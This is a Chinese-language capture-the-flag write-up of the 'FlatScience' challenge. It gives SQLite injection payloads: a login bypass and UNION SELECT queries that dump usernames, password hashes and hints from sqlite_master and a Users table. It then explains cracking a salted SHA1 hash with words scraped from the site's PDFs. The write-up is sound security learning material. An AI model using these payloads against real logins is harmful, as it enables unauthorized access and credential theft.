FlatScience(SQLite注入)

2019-10-09 02:10:00
ctf - sqlite

SQLite

不同于mysql,它一个数据库就是一个文件。

应用不需要通过各种端口来操作,而是直接操作文件,而它的注入语句也和mysql有些不同。我对该数据库没了解过,仅仅通过本题学习了一点点。

解题

给了一个莫名其妙的网站,找不到哪里有问题,那就扫一下目录试一下:

发现有robots.txt和两个可疑的php文件,而robots内就是注明了这两个文件,那么先看admin.php

html源码给了这样一段话,意思别想尝试绕过这里,那就找找另一个login.php

长得跟这个admin差不多,admin作为账号和密码输入,发现还是没反应,而账号输入admin'or'1'='1就跳到了index页面了,大概率这里是一个注入点。

尝试admin' union select database(),发现报了错:

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "2801497d9ca18eef4382b18d1889b8bc97e28461" in /var/www/html/login.php on line 47

发现了一个SQLite,说明这个数据库不是mysql而是SQLite,看下html发现:

由此得到源码:

<?php 
if(isset($_POST['usr']) && isset($_POST['pw'])){ 
        $user = $_POST['usr']; 
        $pass = $_POST['pw']; 

        $db = new SQLite3('../fancy.db'); 

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); 
    if($res){ 
        $row = $res->fetchArray(); 
    } 
    else{ 
        echo "<br>Some Error occourred!"; 
    } 

    if(isset($row['id'])){ 
            setcookie('name',' '.$row['name'], time() + 60, '/'); 
            header("Location: /"); 
            die(); 
    } 

} 

if(isset($_GET['debug'])) 
highlight_file('login.php'); 
?> 

sqlite3中存在一个sqlite_master表,与mysql的information_schema类似的,记录了库和表的信息。

select name,sql from sqlite_master,name中记录了表名,sql中记录了表结构,如图:

用bp可以看见Set_Cookie:

CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

说明了Users表中有id,name,password,hint四个字段。

那就可以直接查询了。

查name:' UNION SELECT 1,(select group_concat(name) from Users)--+

admin,fritze,hansi

查password:' UNION SELECT 1,(select group_concat(password) from Users)--+

3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd;

查hint:' UNION SELECT 1,(select group_concat(hint) from Users)--+

my fav word in my fav paper?!,my love is…?,the password is password

整理一下有:

admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!

fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is…?

hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password

需要注意的是前面的页面中存在着大量的pdf文件,一开始我认为是没有用的,但结合这里就发现并不是。

提示应该是让我们从文章里面找到某个wordSalz!对他们进行sha1加密从而变成3fab54a50e770d830c0416df817567662a9dc85c这一串东西,然后使用admin和这个wordSalz!进行登录。

那么我们可以可以用python写爬虫,正则匹配递归爬取,不过我偷懒用了别人的扒站工具,直接扒了下来,要写的正则如下:

nextpattern = re.compile(r"[\d]+/index.html")

pdfpattern = re.compile(r"[\w]+.pdf")

然后python脚本处理pdf文件提取每一个单词:

hashlib.sha1(单词+Salz!).hexdigest()==3fab54a50e770d830c0416df817567662a9dc85c

求解得密码,然后登录即可getflag。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号